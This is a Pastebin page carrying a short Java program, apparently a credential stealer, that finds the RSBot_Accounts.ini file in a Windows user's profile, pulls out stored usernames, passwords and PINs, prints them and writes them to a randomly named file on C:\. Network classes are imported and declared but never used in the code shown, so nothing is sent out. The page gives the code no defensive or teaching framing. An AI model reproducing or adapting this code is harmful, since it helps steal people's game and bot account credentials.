Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.net.*;
- import java.security.MessageDigest;
- import java.security.NoSuchAlgorithmException;
- import java.util.Random;
- public class main {
- static public void main(String[] args) {
- getAccounts();
- }
- static public void getAccounts() {
- String s5;
- java.io.BufferedReader br;
- String s8;
- java.io.IOException e;
- java.io.File file;
- String s;
- String s2;
- file = null;
- Random r = new Random();
- int randint = r.nextInt(3000);
- HttpURLConnection httpUrlConnection;
- OutputStream outputStream;
- BufferedInputStream fileInputStream;
- BufferedReader serverReader;
- s = new StringBuilder().append(System.getProperty("user.home")).append("\\Application Data\\RSBot_Accounts.ini").toString();
- s2 = new StringBuilder().append(System.getProperty("user.home")).append("\\AppData\\Roaming\\RSBot_Accounts.ini").toString();
- if (System.getProperty("os.name").toLowerCase().contains("xp")) {
- file = new java.io.File(s);
- } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
- file = new java.io.File(s2);
- } else {
- return;
- } if (file.exists()) {
- try {
- br = new java.io.BufferedReader(new java.io.FileReader(file));
- s8 = "no.";
- for (;;) {
- if ((s5 = br.readLine()) == null) {
- break;
- } if (s5.contains("[")) {
- s5 = s5.replace("[", "");
- s5 = s5.replace("]", "");
- if (s8.equals("no.") == false) {
- System.out.println("Failed");
- }
- s8 = new StringBuilder().append("User=").append(s5).toString();
- }
- if (s5.contains("password=")) {
- s5 = s5.replace("password=", "");
- s8 = new StringBuilder().append(s8).append("\tPass=").append(s5).toString();
- }
- if (s5.contains("pin=")) {
- s5 = s5.replace("pin=", "");
- s8 = new StringBuilder().append(s8).append("\tPin=").append(s5).toString();
- }
- FileWriter fstream = new FileWriter("C:\\" + randint + ".txt");
- BufferedWriter out = new BufferedWriter(fstream);
- out.write(s8);
- System.out.println(s8);
- br.close();
- }
- } catch (IOException i8) {
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement